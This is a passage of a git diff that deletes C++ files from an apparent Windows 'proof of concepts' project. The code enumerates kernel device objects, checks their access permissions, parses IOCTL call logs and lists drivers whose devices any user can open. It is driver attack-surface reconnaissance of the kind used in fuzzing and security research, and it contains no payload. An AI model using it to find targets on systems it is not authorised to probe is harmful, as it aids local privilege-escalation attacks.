- // expand environment variables
- char *lpszExp = NULL;
- DWORD ExpLen = ExpandEnvironmentStringsA(s, lpszExp, 0);
- if (ExpLen > 0)
- {
- ExpLen += 2;
- if (lpszExp = (char *)M_ALLOC(ExpLen))
- {
- if (ExpandEnvironmentStringsA(s, lpszExp, ExpLen) > 0)
- {
- M_FREE(s);
- s = lpszExp;
- }
- else
- {
- M_FREE(lpszExp);
- }
- }
- }
-
- if (!IsFileExists(s))
- {
- try
- {
- std::string newstr = s;
- newstr += ".exe";
-
- /*
- Some user-mode services can have
- image file path without extension.
- */
- if (IsFileExists((char *)newstr.c_str()))
- {
- M_FREE(s);
-
- size_t newlen = strlen(newstr.c_str()) + 1;
- if (s = (char *)M_ALLOC(newlen))
- {
- strcpy(s, newstr.c_str());
- }
- }
- }
- catch (...)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"() Exception\n");
- }
- }
- }
-
- return s;
-}
-//--------------------------------------------------------------------------------------
-BOOL GetDescrAndCompanyInfo(char *lpszFilePath, char **lpszDescr, char **lpszCompany)
-{
- DWORD dwHandle = 0;
- BOOL bRet = FALSE;
-
- // query size of versioin info resource
- DWORD dwSize = GetFileVersionInfoSizeA(lpszFilePath, &dwHandle);
- if (dwSize > 0)
- {
- PVOID pInfo = M_ALLOC(dwSize);
- if (pInfo)
- {
- ZeroMemory(pInfo, dwSize);
-
- // load version info resource from the target file
- if (GetFileVersionInfoA(lpszFilePath, dwHandle, dwSize, pInfo))
- {
- UINT uValueSize = 0;
- struct LANG_INFO
- {
- WORD wLanguage;
- WORD wCodePage;
-
- } *LangInfo = NULL;
-
- // get languages table
- if (VerQueryValue(pInfo, TEXT("\\VarFileInfo\\Translation"), (PVOID *)&LangInfo, &uValueSize))
- {
- for (int i = 0; i < uValueSize / sizeof(struct LANG_INFO); i++)
- {
- char SubName[MAX_PATH], *lpValue = NULL;
-
- sprintf(
- SubName, "\\StringFileInfo\\%04x%04x\\FileDescription",
- LangInfo[i].wLanguage, LangInfo[i].wCodePage
- );
-
- // query file description value
- if (lpszDescr &&
- VerQueryValue(pInfo, SubName, (PVOID *)&lpValue, &uValueSize) &&
- lpValue)
- {
- if (*lpszDescr = (char *)M_ALLOC(strlen(lpValue) + 1))
- {
- lstrcpyA(*lpszDescr, lpValue);
- }
- }
-
- sprintf(
- SubName, "\\StringFileInfo\\%04x%04x\\CompanyName",
- LangInfo[i].wLanguage, LangInfo[i].wCodePage
- );
-
- // query file description value
- lpValue = NULL;
- if (lpszCompany &&
- VerQueryValue(pInfo, SubName, (PVOID *)&lpValue, &uValueSize) &&
- lpValue)
- {
- if (*lpszCompany = (char *)M_ALLOC(strlen(lpValue) + 1))
- {
- lstrcpyA(*lpszCompany, lpValue);
- }
- }
-
- if (LangInfo[i].wCodePage == 1252)
- {
- // "ANSI Latin 1; Western European (Windows)" is preffered
- break;
- }
- }
-
- bRet = TRUE;
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): GetFileVersionInfo() ERROR %d\r\n", GetLastError());
- }
-
- M_FREE(pInfo);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): LocalAlloc() ERROR %d\r\n", GetLastError());
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): GetFileVersionInfo() ERROR %d\r\n", GetLastError());
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-BOOL GetDeviceInfo(
- char *lpszDeviceName,
- PVOID *pDriverObject,
- PVOID *pDeviceObject,
- char *lpszDriverObjectName,
- char *lpszDriverFilePath)
-{
- UCHAR Buff[sizeof(REQUEST_BUFFER) + MAX_PATH];
- PREQUEST_BUFFER Request = (PREQUEST_BUFFER)Buff;
- ZeroMemory(&Buff, sizeof(Buff));
-
- if (pDriverObject)
- {
- *pDriverObject = NULL;
- }
-
- if (pDeviceObject)
- {
- *pDeviceObject = NULL;
- }
-
- if (lpszDriverObjectName)
- {
- ZeroMemory(lpszDriverObjectName, MAX_REQUEST_STRING);
- }
-
- if (lpszDriverFilePath)
- {
- ZeroMemory(lpszDriverFilePath, MAX_REQUEST_STRING);
- }
-
- strncpy(Request->Buff, lpszDeviceName, MAX_PATH - 1);
- Request->Code = C_GET_DEVICE_INFO;
-
- if (DrvDeviceRequest(Request, sizeof(Buff)) &&
- Request->Status == S_SUCCESS)
- {
- if (pDriverObject)
- {
- *pDriverObject = Request->DeviceInfo.DriverObjectAddr;
- }
-
- if (pDeviceObject)
- {
- *pDeviceObject = Request->DeviceInfo.DeviceObjectAddr;
- }
-
- if (lpszDriverObjectName)
- {
- strcpy(lpszDriverObjectName, Request->DeviceInfo.szDriverObjectName);
- }
-
- if (lpszDriverFilePath)
- {
- strcpy(lpszDriverFilePath, Request->DeviceInfo.szDriverFilePath);
- }
-
- return TRUE;
- }
-
- return FALSE;
-}
-//--------------------------------------------------------------------------------------
-BOOL PrintObjectPermissions(HANDLE hObject, SE_OBJECT_TYPE ObjectType)
-{
- PACL pDacl = NULL;
-
- // get security information for the object
- DWORD Code = GetSecurityInfo(
- hObject,
- ObjectType,
- DACL_SECURITY_INFORMATION,
- NULL, NULL,
- &pDacl,
- NULL, NULL
- );
- if (Code != ERROR_SUCCESS)
- {
- return FALSE;
- }
-
- DWORD dwAceIndex = 0;
- PVOID pAce = NULL;
-
- // enumerate ACEs in ACL
- while (pDacl && GetAce(pDacl, dwAceIndex, &pAce))
- {
- PACE_HEADER pAceHeader = (PACE_HEADER)pAce;
- PSID pSid = NULL;
- ACCESS_MASK AccessMask = 0;
-
- dwAceIndex += 1;
-
- if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)
- {
- PACCESS_ALLOWED_ACE pAllowAce = (PACCESS_ALLOWED_ACE)pAce;
- pSid = (PSID)&pAllowAce->SidStart;
- AccessMask = pAllowAce->Mask;
- }
- else if (pAceHeader->AceType == ACCESS_DENIED_ACE_TYPE)
- {
- PACCESS_DENIED_ACE pDenyAce = (PACCESS_DENIED_ACE)pAce;
- pSid = (PSID)&pDenyAce->SidStart;
- AccessMask = pDenyAce->Mask;
- }
- else
- {
- // other type of the ACE
- continue;
- }
-
- char szName[MAX_PATH], szReferencedDomainName[MAX_PATH];
- DWORD dwNameSize = MAX_PATH, dwReferencedDomainNameSize = MAX_PATH;
- SID_NAME_USE NameUse;
-
- // query account name by SID
- if (LookupAccountSidA(
- NULL,
- pSid,
- szName, &dwNameSize,
- szReferencedDomainName, &dwReferencedDomainNameSize,
- &NameUse))
- {
- DbgMsg(
- __FILE__, __LINE__,
- "%8s: 0x%.8x %s\\%s\n",
- pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE ? "ALLOW" : "DENY",
- AccessMask, szReferencedDomainName, szName
- );
- }
- else
- {
- char *pSidStr = NULL;
- if (ConvertSidToStringSidA(pSid, &pSidStr))
- {
- DbgMsg(
- __FILE__, __LINE__,
- "%8s: 0x%.8x %s\n",
- pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE ? "ALLOW" : "DENY",
- AccessMask, pSidStr
- );
-
- LocalFree(pSidStr);
- }
- }
- }
-
- return TRUE;
-}
-//--------------------------------------------------------------------------------------
-BOOL GetDesiredPermissions(HANDLE hObject, SE_OBJECT_TYPE ObjectType, PDWORD pdwEveryone, PDWORD pdwAuthenticated)
-{
- PACL pDacl = NULL;
-
- // get security information for the object
- DWORD Code = GetSecurityInfo(
- hObject,
- ObjectType,
- DACL_SECURITY_INFORMATION,
- NULL, NULL,
- &pDacl,
- NULL, NULL
- );
- if (Code != ERROR_SUCCESS)
- {
- return FALSE;
- }
-
- DWORD SidSize = SECURITY_MAX_SID_SIZE;
- PSID pEveryone = (PSID)M_ALLOC(SidSize);
- if (pEveryone == NULL)
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", Code);
- return FALSE;
- }
-
- PSID pAuthenticated = (PSID)M_ALLOC(SidSize);
- if (pAuthenticated == NULL)
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", Code);
- M_FREE(pEveryone);
- return FALSE;
- }
-
- // Create a SID for the Everyone group on the local computer.
- if (!CreateWellKnownSid(WinWorldSid, NULL, pEveryone, &SidSize))
- {
- DbgMsg(__FILE__, __LINE__, "CreateWellKnownSid() ERROR %d\n", Code);
- M_FREE(pEveryone);
- M_FREE(pAuthenticated);
- return FALSE;
- }
-
- // Create a SID for the any authenticated users group on the local computer.
- if (!CreateWellKnownSid(WinAuthenticatedUserSid, NULL, pAuthenticated, &SidSize))
- {
- DbgMsg(__FILE__, __LINE__, "CreateWellKnownSid() ERROR %d\n", Code);
- M_FREE(pEveryone);
- M_FREE(pAuthenticated);
- return FALSE;
- }
-
- DWORD dwAceIndex = 0;
- PVOID pAce = NULL;
-
- // enumerate ACEs in ACL
- while (pDacl && GetAce(pDacl, dwAceIndex, &pAce))
- {
- PACE_HEADER pAceHeader = (PACE_HEADER)pAce;
- PSID pSid = NULL;
- ACCESS_MASK AccessMask = 0;
-
- dwAceIndex += 1;
-
- if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)
- {
- PACCESS_ALLOWED_ACE pAllowAce = (PACCESS_ALLOWED_ACE)pAce;
- pSid = (PSID)&pAllowAce->SidStart;
- AccessMask = pAllowAce->Mask;
- }
- else if (pAceHeader->AceType == ACCESS_DENIED_ACE_TYPE)
- {
- PACCESS_DENIED_ACE pDenyAce = (PACCESS_DENIED_ACE)pAce;
- pSid = (PSID)&pDenyAce->SidStart;
- AccessMask = pDenyAce->Mask;
- }
- else
- {
- // other type of the ACE
- continue;
- }
-
- if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)
- {
- if (EqualSid(pSid, pEveryone))
- {
- *pdwEveryone = AccessMask;
- }
- else if (EqualSid(pSid, pAuthenticated))
- {
- *pdwAuthenticated = AccessMask;
- }
- }
- }
-
- M_FREE(pEveryone);
- M_FREE(pAuthenticated);
-
- return TRUE;
-}
-//--------------------------------------------------------------------------------------
-DWORD ParseIoctlsLog(char *lpszIoctlsLogPath)
-{
- DWORD dwRet = 0;
-
- m_DeviceCallsCount.clear();
- m_DriverCallsCount.clear();
-
- DbgMsg(__FILE__, __LINE__, "Parsing global IOCLs log \"%s\"...\n", lpszIoctlsLogPath);
-
- HANDLE hFile = CreateFileA(lpszIoctlsLogPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
- if (hFile == INVALID_HANDLE_VALUE)
- {
- DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError());
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Error while opening log file \"%s\"\n", lpszIoctlsLogPath);
- return 0;
- }
-
- struct
- {
- std::string Timestamp;
- std::string Device;
- std::string Driver;
-
- } IoctlInfo = { "", "", "" };
-
- #define READBUFF_SIZE 0x1000
- char szBuff[READBUFF_SIZE];
- DWORD dwReaded = 0;
-
- LARGE_INTEGER FileSize;
- FileSize.LowPart = GetFileSize(hFile, (LPDWORD)&FileSize.HighPart);
-
- while (ReadFile(hFile, szBuff, READBUFF_SIZE, &dwReaded, NULL) && dwReaded > 0)
- {
- char *lpszLine = szBuff;
- LARGE_INTEGER Position, Processed;
- Position.QuadPart = Processed.QuadPart = 0;
- Position.LowPart = SetFilePointer(hFile, 0, &Position.HighPart, FILE_CURRENT);
-
- for (size_t i = 0; i < dwReaded - 1; i++)
- {
- if (szBuff[i] == '\r' && szBuff[i + 1] == '\n')
- {
- // process single line
- szBuff[i] = '\0';
-
- #define M_TIMESTAMP "timestamp="
- #define M_DEVICE "device="
- #define M_DRIVER "driver="
-
- try
- {
- if (!strncmp(lpszLine, M_TIMESTAMP, strlen(M_TIMESTAMP)))
- {
- // request timestamp field
- IoctlInfo.Timestamp = std::string(lpszLine + strlen(M_TIMESTAMP));
- }
- else if (!strncmp(lpszLine, M_DEVICE, strlen(M_DEVICE)))
- {
- // device object name
- IoctlInfo.Device = std::string(lpszLine + strlen(M_DEVICE));
- }
- else if (!strncmp(lpszLine, M_DRIVER, strlen(M_DRIVER)))
- {
- // driver object name
- IoctlInfo.Driver = std::string(lpszLine + strlen(M_DRIVER));
- }
-
- if (IoctlInfo.Timestamp.length() > 0 &&
- IoctlInfo.Device.length() > 0 &&
- IoctlInfo.Driver.length() > 0)
- {
- // collect call statistics for device
- if (m_DeviceCallsCount.find(IoctlInfo.Device) == m_DeviceCallsCount.end())
- {
- m_DeviceCallsCount[IoctlInfo.Device] = 1;
- }
- else
- {
- m_DeviceCallsCount[IoctlInfo.Device] += 1;
- }
-
- // collect call statistics for driver
- if (m_DriverCallsCount.find(IoctlInfo.Driver) == m_DriverCallsCount.end())
- {
- m_DriverCallsCount[IoctlInfo.Driver] = 1;
- }
- else
- {
- m_DriverCallsCount[IoctlInfo.Driver] += 1;
- }
-
- IoctlInfo.Timestamp = "";
- IoctlInfo.Device = "";
- IoctlInfo.Driver = "";
-
- dwRet += 1;
- }
- }
- catch (...)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n");
-
- m_DeviceCallsCount.clear();
- m_DriverCallsCount.clear();
-
- dwRet = 0;
-
- goto end;
- }
-
- Processed.QuadPart = Position.QuadPart - dwReaded + i + 2;
- lpszLine = szBuff + i + 2;
- }
- }
-
- if (Position.QuadPart >= FileSize.QuadPart)
- {
- // end of the file
- break;
- }
-
- if (Processed.QuadPart > 0)
- {
- SetFilePointer(hFile, Processed.LowPart, &Processed.HighPart, FILE_BEGIN);
- }
- }
-
- DbgMsg(__FILE__, __LINE__, "[+] %d entries readed\n", dwRet);
-
-end:
- CloseHandle(hFile);
-
- return dwRet;
-}
-//--------------------------------------------------------------------------------------
-void PrintDeviceObjectsInfo(char *lpszIoctlsLogPath)
-{
- // required for enumerating file handles
- LoadPrivileges(SE_DEBUG_NAME);
-
- if (lpszIoctlsLogPath)
- {
- ParseIoctlsLog(lpszIoctlsLogPath);
- }
-
- // collect information about opened device handles
- CollectFileHandles();
-
- try
- {
- DWORD dwProcessedDrivers = 0, dwProcessedDevices = 0;
- std::map InterestingDrivers;
- DRVINFO_LIST::iterator e_drv;
-
- // enumerate drivers
- for (e_drv = m_DriversInfo.begin(); e_drv != m_DriversInfo.end(); ++e_drv)
- {
- DWORD dwCallsCount = 0;
- DRVINFO_ENTRY *DrvInfo = &e_drv->second;
-
- DrvInfo->first.Company = std::string("");
- DrvInfo->first.Descr = std::string("");
-
- if (m_DriverCallsCount.find(DrvInfo->first.ObjectName) != m_DriverCallsCount.end())
- {
- // IOCTLs statistic by calls count for this driver is available
- dwCallsCount = m_DriverCallsCount[DrvInfo->first.ObjectName];
- }
- else
- {
- dwCallsCount = 0;
- }
-
- if (lpszIoctlsLogPath)
- {
- // print calls count statistic from parsed log
- DbgMsg(
- __FILE__, __LINE__, "DRIVER: "IFMT" \"%s\" %d total calls\n",
- DrvInfo->first.Object, DrvInfo->first.ObjectName.c_str(), dwCallsCount
- );
- }
- else
- {
- DbgMsg(
- __FILE__, __LINE__, "DRIVER: "IFMT" \"%s\"\n",
- DrvInfo->first.Object, DrvInfo->first.ObjectName.c_str()
- );
- }
-
- if (strlen(DrvInfo->first.FilePath.c_str()) > 0)
- {
- char *lpszPath = GetNormalizedDriverFilePath((char *)DrvInfo->first.FilePath.c_str());
- if (lpszPath)
- {
- char *lpszDescr = NULL, *lpszCompany = NULL;
-
- DrvInfo->first.FilePath = std::string(lpszPath);
-
- // query file description and vendor name from resources
- GetDescrAndCompanyInfo(lpszPath, &lpszDescr, &lpszCompany);
-
- WORD c = ccol(CCOL_YELLOW);
-
- if (lpszDescr)
- {
- DbgMsg(__FILE__, __LINE__, "Description: \"%s\"\n", lpszDescr);
- DrvInfo->first.Descr = std::string(lpszDescr);
- M_FREE(lpszDescr);
- }
-
- if (lpszCompany)
- {
- DbgMsg(__FILE__, __LINE__, "Company: \"%s\"\n", lpszCompany);
- DrvInfo->first.Company = std::string(lpszCompany);
- M_FREE(lpszCompany);
- }
-
- ccol(c);
-
- DbgMsg(__FILE__, __LINE__, "File path: \"%s\"\n", lpszPath);
- M_FREE(lpszPath);
- }
- }
-
- // enumerate devices for this driver
- DEVINFO_LIST::iterator e_dev;
- for (e_dev = DrvInfo->second.begin(); e_dev != DrvInfo->second.end(); ++e_dev)
- {
- PDEVINFO DevInfo = &e_dev->second;
- char *lpszAccess = "";
- WORD c = 0;
-
- if (m_DeviceCallsCount.find(DevInfo->ObjectName) != m_DeviceCallsCount.end())
- {
- // IOCTLSs statistic by calls count for this device is available
- dwCallsCount = m_DeviceCallsCount[DevInfo->ObjectName];
- }
- else
- {
- dwCallsCount = 0;
- }
-
- switch (DevInfo->Access)
- {
- case DevAccessOpenError:
-
- lpszAccess = "Open Error";
- c = CCOL_RED;
- break;
-
- case DevAccessEveryone:
-
- lpszAccess = "Everyone";
- c = CCOL_GREEN;
- break;
-
- case DevAccessAuthenticated:
-
- lpszAccess = "Authenticated";
- break;
-
- case DevAccessRestricted:
-
- lpszAccess = "Restricted";
- break;
- }
-
- if (c != 0)
- {
- c = ccol(c);
- }
-
- if (lpszIoctlsLogPath)
- {
- // print calls count statistic from parsed log
- DbgMsg(
- __FILE__, __LINE__, " * "IFMT" \"%s\" Access: %s, %d calls\n",
- DevInfo->Object, DevInfo->ObjectName.c_str(), lpszAccess, dwCallsCount
- );
- }
- else
- {
- DbgMsg(
- __FILE__, __LINE__, " * "IFMT" \"%s\" Access: %s\n",
- DevInfo->Object, DevInfo->ObjectName.c_str(), lpszAccess
- );
- }
-
- if (c != 0)
- {
- ccol(c);
- }
-
- std::string ObjectName = DevInfo->ObjectName.c_str();
- if (m_OpenedInfo.find(ObjectName) != m_OpenedInfo.end())
- {
- DbgMsg(__FILE__, __LINE__, " Opened by:\n");
-
- // enumerate processes, that uses this device
- std::list::iterator e_pr = m_OpenedInfo[ObjectName].begin();
-
- while (e_pr != m_OpenedInfo[ObjectName].end())
- {
- DbgMsg(
- __FILE__, __LINE__, " %.5d \"%s\"\n",
- e_pr->ProcessId, e_pr->ProcessName.c_str()
- );
-
- ++e_pr;
- }
- }
-
- if (DevInfo->Access == DevAccessEveryone &&
- strlen(DrvInfo->first.FilePath.c_str()) > 0)
- {
- InterestingDrivers[DrvInfo->first.Object] = DrvInfo->first;
- }
-
- dwProcessedDevices += 1;
- }
-
- dwProcessedDrivers += 1;
-
- DbgMsg(__FILE__, __LINE__, "\n");
- }
-
- DbgMsg(
- __FILE__, __LINE__, "[+] %d devices in %d drivers displayed\n",
- dwProcessedDevices, dwProcessedDrivers
- );
-
- if (InterestingDrivers.size() > 0)
- {
- DbgMsg(__FILE__, __LINE__, "[+] Interesting drivers:\n\n");
- DbgMsg(__FILE__, __LINE__, "\n");
-
- // enumerate drivers, that have devices accessible from user mode
- std::map::iterator e_drv;
- for (e_drv = InterestingDrivers.begin(); e_drv != InterestingDrivers.end(); ++e_drv)
- {
- DbgMsg(__FILE__, __LINE__, "%s\n", e_drv->second.FilePath.c_str());
-
- WORD c = ccol(CCOL_YELLOW);
-
- DbgMsg(
- __FILE__, __LINE__, "\"%s\", \"%s\"\n",
- e_drv->second.Company.c_str(), e_drv->second.Descr.c_str()
- );
-
- ccol(c);
-
- DbgMsg(__FILE__, __LINE__, "\n");
- }
-
- DbgMsg(__FILE__, __LINE__, "\n");
- }
- }
- catch (...)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n");
- }
-}
-//--------------------------------------------------------------------------------------
-#ifndef DIRECTORY_QUERY
-#define DIRECTORY_QUERY 0x0001
-#endif
-
-#ifndef SYMBOLIC_LINK_QUERY
-#define SYMBOLIC_LINK_QUERY 0x0001
-#endif
-
-void CollectDeviceObjectsInfo(LPWSTR lpRoot)
-{
- UNICODE_STRING usDirName;
- OBJECT_ATTRIBUTES ObjAttr;
- HANDLE hDir = NULL;
-
- if (!wcscmp(lpRoot, L"//"))
- {
- m_DriversInfo.clear();
- }
-
- UNICODE_FROM_WCHAR(&usDirName, lpRoot);
- InitializeObjectAttributes(&ObjAttr, &usDirName, OBJ_CASE_INSENSITIVE, NULL, NULL);
-
- GET_NATIVE(NtOpenDirectoryObject);
- GET_NATIVE(NtQueryDirectoryObject);
- GET_NATIVE(NtOpenSymbolicLinkObject);
- GET_NATIVE(NtQuerySymbolicLinkObject);
-
- // target open objects directory
- NTSTATUS ns = f_NtOpenDirectoryObject(
- &hDir,
- DIRECTORY_QUERY,
- &ObjAttr
- );
- if (NT_SUCCESS(ns))
- {
- ULONG ResultLen = 0, Context = 0;
- PDIRECTORY_BASIC_INFORMATION DirInfo = NULL;
-
-enum_obj:
-
- ResultLen = 0;
- DirInfo = NULL;
-
- // get required buffer size
- ns = f_NtQueryDirectoryObject(
- hDir,
- &DirInfo,
- ResultLen,
- TRUE,
- FALSE,
- &Context,
- &ResultLen
- );
- if ((ns == STATUS_BUFFER_TOO_SMALL || ns == STATUS_BUFFER_OVERFLOW) && ResultLen > 0)
- {
- // allocate memory for information
- if (DirInfo = (PDIRECTORY_BASIC_INFORMATION)M_ALLOC(ResultLen))
- {
- ZeroMemory(DirInfo, ResultLen);
-
- // query directory entry information
- ns = f_NtQueryDirectoryObject(
- hDir,
- DirInfo,
- ResultLen,
- TRUE,
- FALSE,
- &Context,
- NULL
- );
- if (NT_SUCCESS(ns))
- {
- // allocate memory for strings
- DWORD dwNameLen = DirInfo->ObjectName.Length;
- dwNameLen += ((DWORD)wcslen(usDirName.Buffer) + 2) * sizeof(WCHAR);
-
- PWSTR lpwcName = (PWSTR)M_ALLOC(dwNameLen);
- if (lpwcName)
- {
- ZeroMemory(lpwcName, dwNameLen);
- wcscpy(lpwcName, usDirName.Buffer);
-
- if (lpwcName[wcslen(lpwcName) - 1] != L'\\')
- {
- wcscat(lpwcName, L"\\");
- }
-
- memcpy(
- lpwcName + wcslen(lpwcName),
- DirInfo->ObjectName.Buffer,
- DirInfo->ObjectName.Length
- );
-
- DWORD dwTypeNameLen = DirInfo->ObjectTypeName.Length + sizeof(WCHAR);
- PWSTR lpwcTypeName = (PWSTR)M_ALLOC(dwTypeNameLen);
- if (lpwcTypeName)
- {
- ZeroMemory(lpwcTypeName, dwTypeNameLen);
- memcpy(lpwcTypeName, DirInfo->ObjectTypeName.Buffer, dwTypeNameLen - sizeof(WCHAR));
-
- PVOID DriverObject = NULL, DeviceObject = NULL;
- char szDriverObjectName[MAX_REQUEST_STRING], szDeviceObjectName[MAX_PATH];
- char szDriverFilePath[MAX_REQUEST_STRING];
-
- ZeroMemory(szDeviceObjectName, sizeof(szDeviceObjectName));
- WideCharToMultiByte(CP_ACP, 0, lpwcName, -1, szDeviceObjectName, MAX_PATH - 1, NULL, NULL);
-
- // process devices
- if (!wcscmp(lpwcTypeName, L"Device") && wcscmp(GetNameFromFullPathW(lpwcName), DEVICE_NAME) &&
- GetDeviceInfo(szDeviceObjectName,
- &DriverObject, &DeviceObject,
- szDriverObjectName, szDriverFilePath))
- {
- DEVINFO DevInfo;
- DEVINFO_LIST *DevInfoList = NULL;
-
- try
- {
- // insert driver object info into the global list
- DRVINFO_LIST::iterator e = m_DriversInfo.find(DriverObject);
- if (e == m_DriversInfo.end())
- {
- DRVINFO_ENTRY DrvInfo;
-
- DrvInfo.first.Object = DriverObject;
- DrvInfo.first.ObjectName = std::string(szDriverObjectName);
- DrvInfo.first.FilePath = std::string(szDriverFilePath);
-
- m_DriversInfo[DriverObject] = DrvInfo;
- DevInfoList = &m_DriversInfo[DriverObject].second;
- }
- else
- {
- // driver is allready in list
- DevInfoList = &e->second.second;
- }
-
- DevInfo.Access = DevAccessOpenError;
- DevInfo.Object = DeviceObject;
- DevInfo.ObjectName = std::string(szDeviceObjectName);
- }
- catch (...)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n");
- goto skip_device;
- }
-
- GET_NATIVE(NtOpenFile);
-
- IO_STATUS_BLOCK StatusBlock;
- OBJECT_ATTRIBUTES ObjAttr;
- UNICODE_STRING usName;
- HANDLE hDevice = NULL;
-
- UNICODE_FROM_WCHAR(&usName, lpwcName);
- InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
-
- // try to open device
- ns = f_NtOpenFile(
- &hDevice,
- GENERIC_READ | GENERIC_WRITE | ACCESS_SYSTEM_SECURITY,
- &ObjAttr,
- &StatusBlock,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- 0
- );
- if (NT_SUCCESS(ns))
- {
- DWORD dwEveryone = 0, dwAuthenticated = 0;
-
- // query security permissions for device
- if (GetDesiredPermissions(
- hDevice, SE_FILE_OBJECT,
- &dwEveryone, &dwAuthenticated) &&
- (dwEveryone != 0 || dwAuthenticated != 0))
- {
- if (dwEveryone & READ_CONTROL)
- {
- DevInfo.Access = DevAccessEveryone;
- }
- else if (dwAuthenticated & READ_CONTROL)
- {
- DevInfo.Access = DevAccessAuthenticated;
- }
- }
- else
- {
- DevInfo.Access = DevAccessRestricted;
- }
-
- CloseHandle(hDevice);
- }
-
- try
- {
- (*DevInfoList)[DeviceObject] = DevInfo;
- }
- catch (...)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exception occurs\n");
- }
- }
- else if (!wcscmp(lpwcTypeName, L"Directory"))
- {
- // recursive scanning of the next level directory
- CollectDeviceObjectsInfo(lpwcName);
- }
-skip_device:
- M_FREE(lpwcTypeName);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
- M_FREE(lpwcName);
- M_FREE(DirInfo);
- goto end;
- }
-
- M_FREE(lpwcName);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
- M_FREE(DirInfo);
- goto end;
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "NtQueryDirectoryObject() fails; status: 0x%.8x\n", ns);
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Error while requesting device objects info\n");
-
- M_FREE(DirInfo);
- goto end;
- }
-
- M_FREE(DirInfo);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
- goto end;
- }
-
- goto enum_obj;
- }
-
-end:
- CloseHandle(hDir);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "NtOpenDirectoryObject() fails; status: 0x%.8x\n", ns);
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Error while opening directory \"%ws\"\n", lpRoot);
- }
-}
-//--------------------------------------------------------------------------------------
-// EoF
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.h
deleted file mode 100644
index 796df723..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.h
+++ /dev/null
@@ -1,3 +0,0 @@
-
-void CollectDeviceObjectsInfo(LPWSTR lpRoot);
-void PrintDeviceObjectsInfo(char *lpszIoctlsLogPath);
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/binres.rc b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/binres.rc
deleted file mode 100644
index fd40910d..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/binres.rc
+++ /dev/null
@@ -1,4 +0,0 @@
-
-
-
-
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.cpp
deleted file mode 100644
index 0f866ef5..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/common.cpp
+++ /dev/null
@@ -1,253 +0,0 @@
-#include "stdafx.h"
-//--------------------------------------------------------------------------------------
-BOOL LoadPrivileges(char *lpszName)
-{
- HANDLE hToken = NULL;
- LUID Val;
- TOKEN_PRIVILEGES tp;
- BOOL bRet = FALSE;
-
- if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
- {
- DbgMsg(__FILE__, __LINE__, "OpenProcessToken() fails: error %d\n", GetLastError());
- goto end;
- }
-
- if (!LookupPrivilegeValue(NULL, lpszName, &Val))
- {
- DbgMsg(__FILE__, __LINE__, "LookupPrivilegeValue() fails: error %d\n", GetLastError());
- goto end;
- }
-
- tp.PrivilegeCount = 1;
- tp.Privileges[0].Luid = Val;
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-
- if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL))
- {
- DbgMsg(__FILE__, __LINE__, "AdjustTokenPrivileges() fails: error %d\n", GetLastError());
- goto end;
- }
-
- bRet = TRUE;
-
-end:
- if (hToken)
- CloseHandle(hToken);
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-BOOL DumpToFile(char *lpszFileName, PVOID pData, ULONG DataSize)
-{
- HANDLE hFile = CreateFileA(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
